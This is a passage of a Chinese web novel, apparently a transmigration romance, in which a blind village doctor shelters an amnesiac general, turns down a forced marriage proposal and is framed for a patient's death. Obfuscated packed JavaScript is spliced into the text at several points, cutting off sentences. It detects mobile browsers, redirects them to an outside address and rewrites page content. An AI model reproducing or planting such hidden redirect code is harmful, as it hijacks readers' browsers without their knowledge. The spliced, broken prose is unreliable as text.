“太麻烦你了大黑,我自己可以上药的。”青时实在难以招架这个完全把自己代入仆人身份的男主。 “……帮少爷做事怎么能说是麻烦呢,”顾九黎淡淡开口,“难道说,我其实并不是少爷的仆人?” 青时心头一跳,完了,男主不会是想起什么了吧?“怎,怎么会……既然你有心,那便交由你上吧。” “好的,少爷。”顾九黎嘴角勾出微微笑意。 又是一番煎熬的上药。 “对了,大黑,”青时叫住要离开的顾九黎,“你的伤怎么样,没有再裂开吧?算算时间你也该换药了。” “还好,”顾九黎看着自己渗血的伤口睁眼说瞎话,“药在哪?我自己换吧。” “在书桌后面第一排药柜最右边那个抽屉,白瓷瓶装的。”青时道。 “好。” 青时听到瓷瓶撞击的声响,接着是衣衫摩擦声,“要帮忙吗?” “不用,”顾九黎沉吟了一下,又问,“之前……我昏迷的时候也是青时少爷帮我换的药吗?” 青时笑了声,“那倒不是,是青玉帮你换的。你身上伤口太多我怕漏掉。” “嗯。”顾九黎望着自己身上明显是利器所致,而非青年口中摔伤导致的伤口,问道:“青时少爷,我是从哪里摔的崖呢?” “啊?怎么突然问这个?”青时一愣,“就……采药的时候没踩稳……”完蛋,说谎真是门技术活。 “采药的时候……”顾九黎看着青年不自觉表露出的窘迫,心里已经断定他是在说谎,只是不明白他为什么这么做,难不成他爱慕自己,想借此机会和他多多相处?不然青年这般做有什么好处呢? 爱慕啊……自觉猜到真相,顾九黎嘴角微微扬起,看到床上还在冥思苦想找理由的青时,他起身吹灭灯盏,“青时少爷,睡吧。” “啊?哦好。”还在头脑风暴编故事的青时被转移话题的男主整蒙了,不过不用编故事他也松了口气。 * 青时的脚花了两天才差不多好全,他也宅在家呆了两天。 “大黑,陪我去趟镇上吧,去给青玉买点纸墨,顺便给你买套衣服。”昨晚听到宋青玉说男主洗了澡光着膀子出来,青时才想起来他好像只给了顾九黎一套衣服,难为他这么多天一直穿同一套,好歹给人家整个换洗的吧。 虽然说顾九黎现在是他家仆人,但他也不能做宋扒皮吧,光给干不给吃。 顾九黎闻言却没有很高兴,“青时少爷你的脚能走了?” “好的差不多了,那药油可是我父亲的独门秘方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伙计接了钱隐晦的朝两人翻了个白眼,无声念叨一句“穷鬼”,然后他就看到挑衣服的那个高个男人突然回头望了他一眼,黑沉的目光让他下意识打了个寒战。 青时又带着顾九黎去了镇上唯一一家书店,给宋青玉买了纸张和上好的油墨,出门的时候青时走在前面差点和进门的人撞上,好在顾九黎及时将他拉住。 “青时少爷,有人。” “抱歉。”青时道着歉后退几步侧身,让门前的人进来。 所以他才不喜欢到人多地方,这对一个瞎子来说着实不太友好,看不见也就罢了灵敏的耳朵也听不到细微的声响。青时心中微叹。 从门外进来的是位油头粉面的公子,身穿墨绿长袍,行走间料子还在闪光,一看就是好布料。 他手里捏着把折扇,双眼狭长给人蛇一样的感觉。 顾九黎见他自进门就一直直勾勾盯着无知无觉的青时,眉头皱起,上前两步将人挡在自己身后。 看他似乎还想朝他们二人过来,便快速拉着青时出了书店。 “朱二公子,您怎么有空光临小店?”书店掌柜认出来人连忙上前打招呼。 朱晓把玩着手里的折扇,眼睛还望着青时二人离去的方向,“掌柜的,方才从你店里出去的那位蒙着眼的公子你可认得?” 掌柜回忆了一下,“认得的,那是洒家村的宋医师。他有个弟弟在私塾上学,来买过几次笔墨。” “哦?”朱晓勾起一抹邪笑,“还是个医师啊……” 5. 医师5 回程路上,青时发现他还是高估了自己,将将走了一半右脚就开始隐隐作痛了,最后还是顾九黎背他回家的。 男主又是提东西,又是背人的,整个一劳累的大黄牛。 “宋医师!你可算回来了!”两人离门口还有好一段距离,隔老远便听见一个大嗓门。 青时拍了拍顾九黎的肩膀,“大黑,快放我下来。” 顾九黎听话地将人放下,那个大嗓门也来到了两人面前,“哎呦,宋医师,快来看看我家老头子,他今天插秧从田埂上摔下去好像把骨头摔断了!” “什么?!王婶,王叔人呢?摔了多久了?”青时担心地询问。 王婶喘着气,“没,没多久,个把时辰吧。青玉让我把人扶进院子里了,我在外面等你。” “好,那我们快些回去吧。”说着青时杵着竹杖就走,也顾不上作痛的脚踝了。 “哥你回来了!” 进门就听见宋青玉喊自己的声音,青时点点头作为回应,人马不停蹄地朝着院中不断哼唧的王叔走过去。 “王叔,伤的是哪只腿?”青时蹲下身伸手摸向王叔的双腿。 “右……右腿……” 青时先接触了一下右腿的皮肤,又仔细摸索了一番腿骨,手底下反馈的情况让他松了口气。 “还好……”青时擦了擦额间的汗站起身。 “宋医师,我家老头子情况怎么样?”王婶担忧地问道。 青时:“没什么大事,骨头也没断,只是可能摔的时候震伤了骨头,养几天就好了。” 王婶一直提着的气终于松下来,“那就好,那就好。” 青时进了自己房间,从药柜抓了两副药包好。 “我给王叔开了一副断骨续玉膏,熬药内服,药渣外敷,”青时将东西递给王婶细细交代,“这两副药可以吃7日,药吃完再来找我看看情况,最近几天不要让王叔提重物。” “好好好。”王嫂接过药方和药包,心里对青时很是感激,“我都记着了。不知这诊钱……” “您就给十文吧,药材都是山上的,不值钱。”青时说。 王婶从占满泥巴的衣兜里掏出一方小帕子,小心翼翼地打开,里面是被擦地锃亮的铜钱,她耐心地数出十文交给青时。 青时接过铜钱,吩咐站在一旁的顾九黎,“大黑,麻烦你帮忙送王叔回去一下。” “好。”顾九黎扶起王叔跟着王婶出门。 路上。 “大兄弟,你是最近来投奔宋医师的远亲吗?”王婶瞧着高大的顾九黎问道,“以前没在村里见过你。” “嗯。”顾九黎胡乱应了声。 “那感情好,宋医师家自从他爹死了以后就没个顶事儿人,两兄弟一个年纪还小一个眼睛看不见,”王婶絮絮叨叨说着,“这宋医师今年都20了,连个媳妇儿都讨不着。哎,也是可怜。” “你来了好啊,正好帮他相看一下。” “虽然宋医师有眼疾,但他性格好又有一技在身,长得也不差,村里有不少女孩属意他。” “你帮衬着早些挑个人成了好事,也好给老宋家留个后。” …… 不知为何,一想到青年之后可能会和女子成亲顾九黎心里就不太舒服,他把这归结于不想青年去祸害别人,毕竟……他爱慕他的不是吗? * 一大早大门就被敲响,此时顾九黎正在厨房做早食,青时过去开门。 “哎呦,你就是宋医师吧!长得是真俊呐!” 尖锐地女声令青时耳膜刺痛,他稍稍后退一些,问道:“我是,请问您是?” “我是咱洒家村十里八乡最有名的媒婆张大娘子。” “媒婆?”青时很疑惑,“张大娘子,请问您有何事?” “好事,天大的好事!”张大娘子朝蒙着眼的青年露出颇有深意的笑容,卖完关子她才想起眼前的青年看不见自己的举动,于是有些尴尬地那帕子捂住嘴,“宋医师不请我进去喝口茶,我这一大早来报喜连早食都没来得及吃呢。” “您请。”青时让开身位请人进屋坐下,又给人倒了杯茶。 “张大娘子,您说的好事是指?”青时疑惑问道。他实在想不通什么好事能让媒婆报给他。 张大娘子喝了口茶润润嗓才道:“我今日是为咱们清石镇最大布商朱家的二公子求亲来的,朱家你知道吧,清石镇那些成衣店、布料店全都是他们家的产业,家里有钱的很。” “可是……”青时有些摸不着头脑,“张大娘子您是不是走错了?我们家并没有姑娘可以嫁予朱二公子。” “害,”张大娘子甩了下帕子恨不得骂青年是个呆子,“谁告诉你人朱二公子求的是姑娘!” 张大娘子起身扭着腰来到青时身旁,“人家啊求的是你宋医师!” “啊?”青时一度怀疑自己的耳朵出了问题,不然怎么会听见这么离谱的发言,“这……那朱二公子和我同为男子吧?” “这有什么,前朝就有记载,这男子与男子结合称为契兄弟,契兄弟咱大齐虽然少见但也不是没有,”张大娘子继续说,“宋医师你虽长得好,但有这眼疾在身哪个寻常家敢把自己女儿嫁过来,” “不如和朱二公子成了契兄弟,后半辈子进了朱府那是享不尽的荣华富贵,” “再说那朱二公子长得也是一表人才,和你正正相配,” “朱二公子说了,只要你点头,他就以正妻之礼娶你过门,这是咱们清石镇多少女子求都求不来的待遇……” “够了,别再说了,”青时按了按胀痛的太阳穴,心里惊叹这古代的开放程度,“不好意思,张大娘子,这朱二公子我见都未见过,容我无法答应。” “你这呆……”张大娘子还想继续说什么,却被从厨房出来的顾九黎打断。 “青时少爷,吃饭了。” 得救了! 青时起身远离张大娘子,脸色沉暮,朝着她的方向行礼,“麻烦张大娘子去告诉朱二公子,青时无法答应他的要求。” 说完吩咐顾九黎,“大黑,送客。” 顾九黎往张大娘子面前一矗,“娘子,请。” “哎呀,宋医师你……”张大娘子在顾九黎骇人的气势下有些怵,跺了下脚扭着腰离开了宋家。 青时坐回桌边,叹了口气,就听顾九黎说:“青时少爷,刚才我都听见了。你拒绝朱二公子是因为你不喜男子吗?” 青时摇摇头,“那倒不是。” 23世纪男男相恋已经合理合法了,青时也曾设想过自己未来伴侣是男是女,不过他们追求的是自由恋爱,而不是古代这种包办婚姻啊,那个什么朱二公子他见都没见过!更何况他是在做任务,这并不是他所在的世界。 886:其实公司并不反对员工在任务期间谈恋爱的,只要不耽误任务就行。有的维护员一个世界谈一个甚至好几个呢。 ——八八,你就别再来添乱了。 “我和朱二公子不过是陌生人。” 顾九黎:懂了,我们熟,他喜欢我。 * 7日后,王婶带着王叔来找青时。 “宋医师,家里没别的好东西,这鸡蛋你可得收下。”王婶将一篮子鸡蛋塞进青时手里。 青时提着沉甸甸的篮子,说:“王婶您别和我这么客气,这些鸡蛋留给王叔补身子多好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299425|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说什么客气不客气的,放心收着,你王叔我肯定给他留了的,够他吃了。”王婶瞟了一眼王叔示意他说话。 王叔:“是啊,是啊,这次多亏了宋医师你,不然我这腿也好不了这么快。你就收下吧。” “哎,好吧。”青时将篮子交给顾九黎,“王叔你坐下来,我给你检查一下腿。” “这里痛吗?”“这里呢?”…… 青时仔仔细细检查了一番王叔的伤腿,又给他把了下脉。 “王叔的腿基本没什么问题了,只是王叔的脉象有些劳累气虚,多注意休息,吃点好的,不要太操劳……” 青时正交代着却被门外传来的一阵敲锣打鼓声打断,而且这声响还停在他们家门前,他顿时心生不妙。 果然,接下来门就被敲响了。 “谁呀,这一大早的敲锣打鼓,当自己娶新娘呢?”王婶一边吐槽一边去开门。 “请问这里是宋医师家吗?” “是,你们找谁?”王婶看着眼前这一长溜抬着箱子戴着大红花的人有些蒙,小心的问了句。 “我们找宋医师。”队伍前头穿着土色短卦的男人说道。 青时也来到门前,“你们找我有何事?” “您就是宋医师吧,”土卦男子上前两步,恭敬道,“咱们是清石镇朱家的下人,今日是奉朱家二公子之命前来给宋医师下聘。” “朱二公子为您准备了金银玉器,绫罗绸……” “等下,”青时抬手叫停,脸色不太好看,“我记得我上次已经明确拒绝过朱二公子了,他是听不懂人话吗?” “宋大医师,朱二公子看上你,那是你的福分,你别敬酒不吃吃罚酒,”土卦男子威胁,“今日这聘礼你不收也得收!” “你们这是想强买强卖?!”王婶眼睛一横就拦在了青时面前,“还有没有王法,那朱二公子是什么歪果裂枣也敢肖想宋医师!” “你今天敢动他试试,咱们洒家村人也不是好欺负的!”王婶颇有一人当官万夫莫开的气势。 “就是,你们算哪根葱敢来我们洒家村犯浑!”一群扛着锄头的青年和老年人朝这边跑过来,他们都是洒家村人,听说有人为难他们村宋医师,特地前来助阵。 他们将这群朱家下人团团围住,吓得他们说话都哆嗦。 “你们知道我们是谁吗!清石镇朱家知道不,你们这群刁民!” “管你朱家还是李家,还不快带着你们的破铜烂铁滚!” “你们……你们给我等着!”朱家下人们灰溜溜地抬着东西走了。 听见他们离开的声响,青时松了口气,他实在没想到自己身上竟然会发生这么离谱的剧情。 青时在门前行礼,“今日多谢乡亲们,青时感激不尽。” “害,宋医师甭跟咱们客气,都是一个村儿的,这就叫那什么举手什么的……” “爹,举手之劳。” “哦,对对对,举手之劳。” “是啊是啊,你可是咱们洒家村的医师。”…… 青时没在说话,只是对着这群淳朴的乡亲再次行了一礼。 乡亲们陆续离去,青时和王婶进了屋。 “宋医师,地里还有活儿没干完,我和你王叔就先回了,你要是有什么事,就喊一声,我们都会来的。”王婶扶着王叔向青时告辞。 “好,慢走。”该交代的都交代了,青时也没什么多说的。 送走王叔和王婶,顾九黎终于插上了话,他方才去了厨房,所以没看到门外发生了什么。 “青时少爷,方才是?” “没什么,”青时对他摇摇头,“只是那朱二公子叫人来门前唱了一出戏。” 6. 医师6 顾九黎眉头紧皱,发出灵魂质问,“朱二公子,他也脑中有疾?” “噗,”青时被他逗笑了,“可能有吧,只是和你不一样。” 傍晚,宋青玉放学回家,进门就开始喊:“哥!哥!听说今天有人来我们家送聘礼?” 青时:“你从哪听说的?” “我回来的时候听村里人说了一嘴,”宋青玉摸着脑袋一脸憨笑,“听说还是镇上的大户人家,是哪家小姐看上你了吗?” 青时嗤笑一声,逗他:“是啊,不过人家是位公子。” “啊?”宋青玉的小脑袋瓜一下没转过来,“公子?他哪根筋儿搭错了?他没事儿吧?!” 宋青玉扑到青时脚边,一把抱住他的大腿,喊得撕心裂肺:“哥!我的亲哥!你没答应他吧!?你和他走了那我怎么办啊!你可不能抛下我啊!我只有你了!” “放手,”青时轻笑一声,微微抬脚踢了踢宋青玉,“放心吧,我没答应。” “那就好,”闻言宋青玉一下停止了假哭,站起来,“不过话说回来,来求亲的是哪个不长眼的东西?” 青时:“听说是清石镇上朱家的二公子,你哥我听都没听过。” 宋青玉回忆了一下,“我也未曾听闻。” “青时少爷,可以洗澡了。”顾九黎出来打断了兄弟二人的对话。 “好,来了。” * 天气很好,阳光温和不灼人,青时正在院里练字,顾九黎坐在一旁静静看着。 “砰砰砰!”宋家大门被大力敲响。 顾九黎刚打开门一个老妇人就推开他闯进来,“宋医师!宋医师在吗?!”他被撞了个趔趄,稳住身体又看到门外还站着两个抬着木板的年轻男人。 闻言青时放下笔走过去,“老人家,我就是,您找我有什么事呢?” “宋医师,”老妇人上前握住青时双手,说着说着就跪了下去,“我是隔壁小桥村的,听闻医师医术高超,求医师救救我儿子!” “快快请起,”青时扶住老妇人不让她跪下,“您儿子在哪,我先看看?” “唉,”老妇人朝着门口大喊,“两个呆货还不快带着你们弟弟进来!” 青时听到木板触地的声响还有细细的咳嗽声,他踱步过去,蹲下身去接触躺在木板上的人,首先是触脉。 嗯?这个脉象? “他今年多少岁了?一直有咳嗽吗?有咳出血的情况吗?”青时问。 “这是我家三郎,有15了,”老妇人说着回忆了一下,“自从5年前落了一次水后就一直有咳嗽,先前还只是咳,后来人就越来越虚,最近一年开始咳血了。” “宋医师,你看我家三郎还有的救吗?” 果然是肺结核。 听完老妇人的描述青时顿时有些头疼,肺结核在23世纪不算什么大病,但在这里可是相当于绝症,他就是想救也无能为力。 “抱歉,令郎的情况……我无能为力……”青时艰难地说出结论,“他患的乃是虫疰(肺结核的古代称呼),无药可医。” “哎呦,”老妇人一屁股坐在地上嚎啕大哭,像是要把自己多年来的委屈哭尽,“我苦命的三郎啊!可怜呐……” “娘。” “娘别太难过,还有我们呢。” 青时擦了擦额角的汗,“老人家,我给三郎配些益肺的药,缓解一下咳嗽吧。” “那就多谢宋医师了。”一道男声回应了青时。 青时点点头回房间写下药方,并配了两副益肺健脾的药材,还拿了一些艾草,想着一齐交给他们。 “大黑,麻烦帮我把这些交给他们。”老妇人哭得声音太大,青时都分不清人在哪了。 顾九黎将东西交给年长些的那个儿子。 “谢谢宋医师。”大儿子接过东西又朝青时道谢。 “客气了,”青时摇摇头,对着他吩咐道,“这药熬煮一个时辰,取药汁喝下,可缓解令弟咳嗽和咳血的状况,两副药可以吃7天,之后你们可以拿药方去镇上药房继续点药。” “家里还有其他人有咳嗽症状吗?”青时问。 “没有。”大儿子有些疑惑青时为什么问这个,但还是老实回答了。 “那就好,”青时叹了口气,“回去之后可用这些艾草煮水将令弟所住房间洒上一些,虫疰这种病有机会传给家人。” “啊这,”大儿子很惊讶,“好的,我会的宋医师。不知诊金要多少?” 青时:“给十文吧。” 大儿子付了钱,拿着东西过去找老妇人,“娘,我们带弟弟回家吧。” 老妇人应该也是哭累了,嚎叫声渐小,“走吧……走吧。” 三人又抬着人原路返回了。 青时听着渐远的沉重脚步,心中十分感慨,疾病伤人,对病人对家人而言都是磨难。 顾九黎察觉到青时低落的心情,凑近过来说:“青时少爷,您的字写得真好看,可以教我吗?” “哈,”青时愣了一下随即笑道,“难得你有好学之心,当然可以啊。” 青时用清水净了手,拿起一只细豪,“来大黑,手给我。” 顾九黎学着他净手,然后将右手交给他。 青时抓着顾九黎的手将细豪放进他的手掌,又将他的手指一一摆成握笔姿势,接着牵引他的手在宣纸上写下两个字——“大黑”。 写完青时松开他的手,向旁边挪了一步露出宣纸,笑道:“你看,这是大黑,你的名字。” 顾九黎盯着青时笑脸微怔,听见他的话才掩饰一般去看字,他早就发现自己失忆前是识字的,甚至也会写字,他的字迹应该是豪放的,不似青时这般清雅。 “写得真好。少爷,能再写一个您的名字在上面吗?”说着他向前一步,将青时彻底笼罩在自己的阴影之下,一个充满占有欲的姿态。 “当然可以。”青时欣然答应,又握住顾九黎的手写下自己的全名——“宋青时”,“好了,你照着练吧。” 哈哈,教男主写字,有面儿! 心中暗爽,青时侧身打算把书桌让给顾九黎,结果却撞到他的胸肌,这时他才发觉自己和男主的距离如此之近,属于另一个人的气息侵入鼻间,“呃,大黑你……先自己练会儿?” 随着一声听不出情绪的“嗯”,顾九黎充满压迫感的身躯离开了青时的身后。 青时连忙远离书桌,到另一边的摇椅上坐下,他回想着男主的举动,越想越不对劲。 ——八八,男主顾九黎他的性取向是男还是女啊? 886:啊?我也不知道,你等我去问问。 ——?你去问谁? 886:世界意识呗,你放心我已经和它处成朋友了,问点不影响剧情的问题完全OK的。 好家伙看来886在他做任务的时候也没闲着,都和世界意识交上朋友了。 世界意识是每个世界都存在的,它们是世界管理者,负责维护世界运转。 银河公司发布的任务就是各个世界的世界意识提交申请形成的,简而言之这是他的甲方。 886:青时我回来了!我问到了,世界意识说男主取向不明,但是以后的官配性别为男,两人走相爱相杀路线。 ——……八八,我觉得男主不太对劲。 886:哪不对劲啊,看着挺正常的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299426|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >——男主会对官配之外的人产生感情吗? 886:emm……有可能会吧,毕竟世界意识也只能把控大致剧情走向,发生意外很正常,但是!但是啊官配吸引力肯定是最大的啦,所以这种情况还是很少见的。 ——…… 886:青时你想什么呢?你不会是觉得男主喜欢上你了吧,不可能的啦,就算他现在对你有好感,后面记忆回复他想起来你把他堂堂一个大将军当牛马使唤,他肯定会恨你的! ——你说得有道理,是我杞人忧天了。 * 此后没过几天,一个白日。 顾九黎恰巧外出,青时在院中处理药草,就听见大门又被大力敲击,他没忍住扶额,这大门也是多灾多难,天天被人索命一样敲。 他只以为门外又是哪位来求医的,结果开门之后人说话却很厉:“你就是宋青时宋医师?” 在得到他肯定的回答之后两个坚硬的东西在他颈前交叉,青时通过触感猜测这应该是两个刀柄。 “宋医师,我们是清石镇县令府的官兵,有人状告你医死了人,跟我们走一趟吧!” “啊?我医死了人?”青时人都懵了,他医死人他自己怎么不知道。 “有什么话留着跟县太爷说吧。”两人一左一右钳制住青时,要带他走。 青时企图和人商量,“两位官爷,不知能否容我给家人留个信,免得他们担心。” “等你有命再回来留吧,快走,县太爷还等着你呢!”官兵丝毫不买账,压着他要走。 青时叹了口气,只得顺着他们走。 希望青玉和大黑回来发现他不见了不要太惊慌。 官兵一路将青时带到清石镇府衙,进入大堂后他听到了一道十分耳熟的哭声,只是一时没想起是在哪听过。 “跪下!”官兵按着青时的肩让他跪下。 青时直挺挺地跪在大堂之中,犹如一株青竹,面色看上去还算冷静,但内心却是十分慌张,他实在没想到自己做个任务还有进衙门的一天,太刺激了。 “威——武——” “堂下何人,报上名来!”威严的男声从头顶传来。 “青天大老爷,民妇乃小桥村刘氏,您可要为我做主啊,我可怜的儿啊!” 青时终于想起来这是何人的声音——那位肺结核病人的母亲。 她儿子出事了? “草民洒家村宋青时,”青时朝前行了一礼,“敢问大人,不知青时犯了何事?” 县令张其兵最讨厌模样俊秀弱不禁风的男人,他看着满脸无辜的青时冷哼一声,“刘氏,你来告诉他,他犯了何事!” “宋医师,五日前我带着我儿子去找你看病,你给他开了药,结果……结果我好好一个儿子…吃了你的药病情却越发严重,短短几日……便没了气息,”刘氏一边流泪一边指控,“你这个庸医,还我儿子命来!” 青时心头满屏的问号,他开的不是砒霜吧? “宋青时,刘氏状告你医死了她儿子,你可有话要讲?”张其兵惯例询问。 青时当然有话讲,这么大口锅他可背不起,“大人,草民为其子开的只是益肺健脾的方子,断然不可能会出现她口中的情况。” “怎么不可能,那我儿子是怎么死的,他只吃了你开的药,肯定是你开错了药,你个杀千刀的丧良心,你赔我儿子命来——”刘氏歇斯底里。 “肃静!”张其兵拍了下惊木,让刘氏收一收,刘氏被吓到,捂着嘴打起了嗝。 青时没有因为刘氏的指责产生情绪波动,问道:“请问大人,草民开给刘氏之子的药包还有余存吗?草民想看看是否真是开错了药。” 7. 医师7 张其兵:“哼,来人,把药包和药渣都带上来。” 很快就有人将药包和药渣带入大堂交到青时手里。 青时接过后凑到鼻尖仔细嗅了嗅,闻着闻着他的眉头变得紧蹙。 张其兵:“宋青时,你可认清了?这是否是你所开之药?” “这确实是草民所开之药没错,但……”青时从药包中拿出一个细长的根须,“草民并未在药包中加入这人参,人参和其中一味白术药性相冲,草民断然不会把二者混在一起的。” “你的意思是这人参是刘氏自己放进去的?” “大人冤枉啊,民妇怎么敢擅自加药进去,肯定是医师开什么民妇就煮什么,民妇怎么敢拿自己儿子的命开玩笑!”刘氏拍着大腿喊冤,“我们家那里买的起人参啊,肯定是宋医师拿药的时候放进去的,他又看不见,拿错了他哪里知道!” 青时被刘氏的栽赃气笑了,“不可能,我……” “肃静!”张其兵总结,“宋青时,你自己也说了,药包中人参和白术两味药药性相冲,不管你是有意还是无意,刘氏之子都是因此而死。” 一只刑签落地,“洒家村医师宋青时,医术不精害人性命,现判处你日后不可再行医,三日后流放齐北!” “退堂!” “大人!……”青时还想辩解,但是张其兵完全不给他机会,直接下了判决。 他被官兵压着丢进衙门的牢房。 “咳咳。”一股酸臭加上腐臭的味道扑面而来,青时倒在地上,差点被熏晕过去。 “呦,官爷,是知道弟兄们在这牢里寂寞的很,所以送了个这么水灵灵的小公子进来吗?” “就是是个瞎子,可惜了。” “你懂什么,瞎子才好呢,这眼睛看不见其他地方感觉更灵敏!” 官兵拿棍子敲了敲牢门,“安分点,都安分点!” 青时爬起身想找个干净点的地方坐下思考,结果摸来摸去除了湿草还是湿草,所幸便随便坐了。 旁边那些污言秽语被他直接过滤。 流放他倒是不怕,但他去了齐北任务怎么办? ——八八,我这都要流放了,剧情还能接上吗? 886:???青时你!怎么一会儿不见你就要流放了? ——我也不知道啊,发生的很突然也很离谱,他们居然说我拿错了药,这县令话都不让我说完就直接给我定罪了。 886:没事,等等看,说不定有反转。 ——真的吗? 886:……应该、吧? 青时头疼地捂住自己的脑袋。 这叫怎么个事儿! “宋青时,跟我出来,有人要见你!”吱呀一声牢门被打开,青时听到先前送自己进来的官兵的声音。 有人要见我?是青玉……还是男主? 青时依言起身走过去,官兵看他走得太慢将自己手里的木棍一端塞进他手里,“快点的,跟我来。” 青时不知道官兵将他带到了哪儿,毕竟他对这衙门的牢房也不太熟悉,不过越走周围的臭味就越淡,最后停下的地方臭味全都消失不见,甚至还有浓烈的饭菜香味。 闻着像是些油腥味儿很重的菜色,青时有些反胃。 “到了。”手里的木棍被抽走,然后是门被关上的声音。 官兵离开后周围变得很安静,青时听见离自己不远处有一道呼吸,他向那边侧了侧耳,“是谁?” “宋医师,好久不见。”一道陌生的男音,语气黏腻,让人想到暗处嘶嘶吐舌的毒蛇。 “你是谁?”青时搜寻了一番记忆肯定自己从未听过此人的声音。 “别着急啊宋医师,你应该很久没吃东西了吧,不饿吗?先坐下来我们边吃边聊。” 青时微微皱了下眉头,摸索着来到桌边,拉开椅子坐上去。 一坐下一股刺鼻的脂粉香扑面而来,青时捂住口鼻默默将椅子挪远了些,“现在可以说了吗?” 轻响一声,一个酒杯被放到青时面前,“宋医师干了这杯,我就告诉你。” 啧。 青时端起酒杯一口干,一杯酒下肚他的脸色瞬间红了起来。 “我叫朱晓。”朱晓玩味地看着双颊泛红的青时,“宋医师酒量不好?怎么一杯就感觉要醉了。” 朱晓,姓朱? 青时问:“你是朱家二公子?” “自从上次见了宋医师你,我是茶饭不思,日思夜想,”朱晓没有正面回答,“结果宋医师你拒绝我的求亲也就算了,还将我家下人打了出来,实在太令人难过了。” 青时真是想送他一对白眼,“朱二公子,我记得我说过很多次拒绝了。您今天来,所为何事?” “在本公子这里没有拒绝的选项,”朱晓邪魅一笑,“三日后你就要流放齐北了吧,只要你进了朱府,这流放一事我倒是可以替你周旋一下。” “朱二公子,你想得倒是挺美,”青时嗤笑一声,不想理会朱晓的胡言乱语,只是他脑中突然有一根弦接上了,“刘氏之事与你有关?” “美人愠怒,别有一番颜色。”朱晓自以为风流地摇着折扇,可惜观众只有个看不见的瞎子。 “不过是使了点小手段,不这样做宋医师又怎么会像现在这样心平气和地和我坐在一起说话呢。” 青时咬着后槽牙,“你!为什么这么做?!” “当然是为了宋医师你呀,”朱晓站起身走到青时身后,凑近他的耳边,“你看,要是你当初答应我的求亲,就不会多生这么些事端了。” 青时猛的站起,椅子翻倒在地发出巨大声响,“你真卑鄙!” “呵呵,多谢宋医师夸奖,”朱晓笑得变态,他用折扇去挑青时的下巴,却被青时无情挥开,他也不恼。 “我不喜欢做强迫人的事,时候不早了,宋医师可以留在这儿慢、慢、想,想清楚想明白了可以跟外面的官差说,我之前说的话都做数。” 说完朱晓便踱步离开。 青时拳头硬了。 这是什么强抢民男,逼良为娼的戏码! ——八八,我能不能揍他一顿! 886:emm……理论上来说是可以的,但是你打得过吗? ——…… 酒劲儿上头,青时按住眩晕的太阳穴,他摸着打开门,问门口的官差,“不带我回去吗?” 官差:“朱二公子说了,这三天您可以呆在这里,他会每天来看您的。” 我谢谢他! “不必了,劳烦带我回去。”青时强硬道。 “……”官差不理解他为什么要回脏兮兮的牢房,但尊重,于是带着他回去。 青时在牢里枯坐了两天,整个人憔悴了很多,但他实在想不出什么别的办法能解决现下的问题。 两条路,要么答应朱晓的要求进朱府(这是不可能的),要么只能在去齐北的路上或者到了齐北之后再另想他法,但这样宋青玉怎么办,万一男主恢复记忆找不到他把气撒到宋青玉身上,那多灾难。 哎…… “宋青时,跟我出来。”熟悉的官差声。 那朱晓又来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见他说得笃定,张其兵看向刘鹏,刘鹏又爆出实锤:“回大人,草民曾听母亲提过大麻交给她的人参是他在清石镇医馆回春堂所购,大人不妨叫来回春堂的伙计问问他认不认得大麻。” “你!”大麻的脸色一片青黑,指着刘鹏说不出狡辩的话。 张其兵看到这里还有什么不明白,“去请回春堂伙计过来认认人。” “是。” 完了。大麻心如死灰地坐到地上,那老妇都死了怎么还能生出事儿,早知道就该把她剩下的两个儿子一起杀了的。 “回大人,此人确实在6日前来买过一株老参,花了15两,所以草民记得很清楚。”回春堂伙计的话为这场闹剧划下了句号。 张其兵拍响惊堂木,“朱家下人大麻买参杀人还令其陷害宋青时医师,罪不容诛,杖三十,流放齐北;” “大人,大人冤枉啊!”大麻被官兵架着脸色煞白,三十棍下来他都不知道还有没有命在,“大人,小人是奉朱家二公子之命做事的啊,大人,都是朱家二公子指使的,不然给小人十个胆子都不敢这么做啊!唔唔唔……” “放肆,你一个下人竟然敢编排主人,杖五十!”张其兵眼色示意官兵捂住大麻的嘴,他能不知道十五两的人参不是一个下人能买的起的。 “大桥村刘氏虚假报案,妨碍公务,人虽死罪不可赦,罪责由其子承担,念刘鹏知错能改,杖十五,以儆效尤;” “洒家村医师宋青时无辜被牵连,先前判决作废,无罪释放。” “退堂!” “大人英明。” 听到判决青时挺直的脊背顿时放松下来。 “青时少爷!你没事吧?!”青时突然陷入了一个温热的怀抱,头顶传来男主顾九黎的声音,只是他的声音听起来很是沙哑。 8. 医师8 青时愣了一下,伸手回抱住顾九黎,因为他感觉到顾九黎对他的担忧和此刻抱住他的庆幸。 然后在场其他人就看到两个蓬头垢面的男人在衙门的大堂里抱得难舍难分。 